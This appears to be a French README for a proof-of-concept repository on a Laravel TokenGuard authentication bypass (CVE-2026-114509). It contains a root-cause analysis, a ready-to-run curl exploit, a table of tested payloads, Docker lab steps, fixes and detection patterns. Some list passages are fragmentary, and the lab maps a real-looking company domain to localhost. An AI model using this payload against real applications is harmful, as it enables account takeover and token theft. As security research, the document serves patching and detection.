
Preuve de concept, analyse de la cause racine et environnement Docker pour CVE-2026-114509, un contournement d'authentification Laravel TokenGuard non authentifié sur MySQL/MariaDB menant à une prise de contrôle de compte.
Preuve de concept, analyse et laboratoire reproductible pour CVE-2026-114509, un contournement
d'authentification non authentifié dans le TokenGuard de Laravel qui conduit à une prise de contrôle de compte lorsque
l'application s'exécute sur MySQL ou MariaDB.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-114509 |
| Avis | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Critique) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Validation incorrecte du type d'entrée spécifié), CWE-287 (Authentification incorrecte) |
| Affecté | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Corrigé dans | 12.68.0, 13.29.0 |
| Vecteur | Corps JSON POST/GET avec api_token sous forme de tableau d'entiers |
| Impact | Contournement d'authentification, prise de contrôle de compte, divulgation d'identifiants |
Un TokenGuard configuré avec driver => token et hash => false accepte un identifiant
non-chaîne. L'envoi de {"api_token":[0]} sous forme de corps JSON amène Laravel à construire
whereIn('api_token', [0]). MySQL convertit alors implicitement la colonne varchar en entier,
de sorte que chaque jeton qui ne commence pas par un chiffre s'évalue à 0 et correspond. La première ligne
de la table users est renvoyée à un attaquant non authentifié.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Trois couches indépendantes doivent toutes être présentes pour permettre l'exploitation.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnérable) :
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Seul empty() est vérifié. empty([0]) est false car le tableau ne contient qu'un seul élément, donc
le tableau est transmis directement au fournisseur. Il n'y a pas de garde is_string().
INsrc/Illuminate/Auth/EloquentUserProvider.php :
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
Un tableau est interprété comme une liste de valeurs candidates, la requête devient donc :
select * from `users` where `api_token` in (0)
api_token est une colonne varchar. Comparer une colonne de chaîne à un entier force une
conversion implicite de la valeur de la colonne en nombre :
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Tout token commençant par une lettre est converti en 0, donc where api_token in (0) correspond.
PostgreSQL et SQLite rejettent ou se comportent mal sur cette comparaison, ce qui explique pourquoi la vulnérabilité
est spécifique aux bases de données de la famille MySQL.
Mesurée sur le lab de ce dépôt (Laravel 11.43.0, MySQL 8.0.46).
| Charge utile | Transport | HTTP | Résultat |
|---|---|---|---|
| (aucune) | — | 401 | rejeté |
Bearer wrong_token | en-tête | 401 | rejeté |
?api_token=wrong | chaîne de requête | 401 | rejeté |
?api_token[]=0 | chaîne de requête | 401 | rejeté — toujours une chaîne |
{"api_token":0} | corps JSON | 401 | rejeté — empty(0) est vrai |
{"api_token":["0"]} | corps JSON | 401 | rejeté — chaîne vs varchar |
{"api_token":[1]} | corps JSON | 401 | aucune ligne avec la valeur convertie 1 |
{"api_token":[0.5]} | corps JSON | 401 | incompatibilité de conversion en float |
{"api_token":[0]} | corps JSON | 200 | contournement |
{"api_token":[0,1]} | corps JSON | 200 | contournement |
La charge utile doit arriver sous forme de véritable tableau typé. Les chaînes de requête et l'encodage de formulaire produisent toujours des chaînes, ce qui explique pourquoi le corps JSON est requis.
Un lab Docker complet est inclus. Voir docs/reproduction.md pour
la procédure complète, ou exécutez-le directement :
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Ajoutez le nom d'hôte du lab à /etc/hosts :
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Puis vérifiez :
./poc.sh http://angkasagroup.co.id
auth:apiapi_token en clair
lorsque hash => false, ce qui rend la compromission persistanteusers est un administrateur, le contournement accorde
des privilèges administratifscomposer require laravel/framework:^12.68
Le correctif est une simple vérification de type :
if (is_string($token) && ! empty($token)) {
'hash' => true sur le garde de l'API. Le stockage haché transforme le tableau en un TypeError
au lieu d'une correspondance.TokenGuard par Laravel Sanctum ou Passport, qui résolvent les jetons via un
index de hachage dédié plutôt qu'un whereIn non contraint.api_token n'est pas une chaîne :if (! is_string(request()->input('api_token'))) {
abort(401);
}
Les journaux de l'application montreront une authentification réussie sans connexion préalable. Recherchez
des corps de requête JSON où api_token est un tableau plutôt qu'une chaîne :
"api_token":[0]
"api_token":[1]
Au niveau de la couche base de données, activez le journal général des requêtes et configurez des alertes sur :
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
Ce dépôt existe à des fins de recherche défensive, de vérification de correctifs et de tests de sécurité autorisés. Ne l'exécutez que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques constitue une infraction pénale dans la plupart des juridictions.
Le laboratoire se lie à 127.0.0.1 et est destiné à un usage local uniquement.